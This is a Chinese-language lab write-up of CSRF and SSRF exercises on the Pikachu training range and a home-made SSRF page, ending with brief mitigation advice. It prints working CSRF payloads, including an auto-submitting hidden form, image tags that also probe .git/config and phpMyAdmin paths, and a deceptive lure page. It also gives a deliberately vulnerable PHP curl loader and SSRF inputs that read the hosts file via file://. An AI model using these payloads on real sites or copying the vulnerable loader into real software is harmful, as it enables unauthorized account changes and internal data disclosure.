漏洞介绍

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种攻击方式,攻击者利用受害者的身份在用户不知情的情况下执行非预期的操作。通常发生在用户已登录目标网站的情况下,攻击者诱导用户访问恶意页面,从而触发对目标网站的请求。

SSRF(Server-Side Request Forgery)是一种服务器端请求伪造漏洞,攻击者通过构造恶意请求,诱使服务器向内部或外部系统发起非预期的请求。此类漏洞常出现在服务器提供对外请求功能的场景中,例如URL调用、文件读取、远程资源加载等。

一、CSRF漏洞

1.手工制作恶意网站

以pikachu靶场为例。

先登录

vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456

进入修改个人信息

点击修改的同时使用Burp Suite进行抓包

我们将这个URL记录下来

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=123&add=123&email=123&submit=submit

我们利用这个URL制作一个恶意网站

<script src='http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=123&add=123&email=123&submit=submit'>
</script>

战争雷霆bmpt-72礼包

将恶意网站发给已经登录的靶机让其点击。

靶机开始还没有什么发现,刷新页面发现就变化了。

2.利用Burp Suite生成CSRF POC来篡改

依旧是修改信息页面

BP会自己生成一个html代码

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="666" />
      <input type="hidden" name="phonenum" value="666" />
      <input type="hidden" name="add" value="666" />
      <input type="hidden" name="email" value="666" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

依旧是制作成网站发给靶机。

靶机点击后会跳转至个人信息页面但是已被修改

回到与原本的网页虽然还没被修改,但是刷新网页后依旧被修改

3.OWASP-CSRFT生成恶意脚本

运行

记录代理信息

修改代理

在修改信息页面时点击拦截

生成恶意网站

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body>
<H2>OWASP CRSFTester Demonstration</H2>
<img src="http://localhost:80/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=666&add=666&email=66&submit=submit&" width="0" height="0" border="0"/>
<img src="http://localhost:80/pikachu/vul/csrf/csrfget/csrf_get.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/.svn/entries?" width="0" height="0" border="0"/>
<img src="http://localhost:80/phpinfo.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/info.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/test.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/i.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/pmd/index.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/phpMyAdmin/index.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/phpmyadmin/index.php?" width="0" height="0" border="0"/>
<img src="http://localhost:80/.git/config?" width="0" height="0" border="0"/>

</body>
</html>

靶机点击

页面刷新后

思考

CSRF(跨站请求伪造)是⼀种⽹络攻击⼿段,利⽤⽤户已登录的Web应⽤程序执⾏未预期的操作。攻击者通过 诱导⽤户点击恶意链接或访问恶意⽹站,利⽤⽤户的浏览器⾃动发送包含合法Cookie的请求,从⽽以⽤户的身份执⾏敏感操作,如转账、修改密码等。

这个需要满足靶机需要登录网页以及点击连接对与实际操作来说个人觉得难度还是有点大。如果将这个与XSS结合将恶意链接留在网站或者应用中那么实际操作就会相对来说简单一点。

二、SSRF

自制一个SSRF靶场放入网站根目录

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>SSRF</title>
</head>

<body>
远程图片加载器
<form action="" method="POST">
请输入图片地址:<input type='text' name='url'>
<input type='submit' value="提交">
</form>
</body>
<?php
$_POST['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
?>

我们输入什么试试

http://127.0.0.1:3306

结果显示了这个

我们再试试其他的

file:///C:/Windows/System32/drivers/etc/hosts

结果显示了计算机的信息

思考

这个原理就是网站可以访问任意链接这个对与服务器来说是很严重的,实战中可以用这个漏洞直接访问服务器信息也可以利用这个漏洞使用旁站攻击获取服务器内其他网站的内容。

结尾

CSRF漏洞主要是人为为主,如果客户端不点击陌生链接以及及时退出关键页面就行,服务器也需要对请求进行验证才行。

 SSRF主要是网站制作时开发人员对与输入不进行限制所造成的,可以禁用一些关键协议或者返回统一的错误信息,以及对返回信息进行验证。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐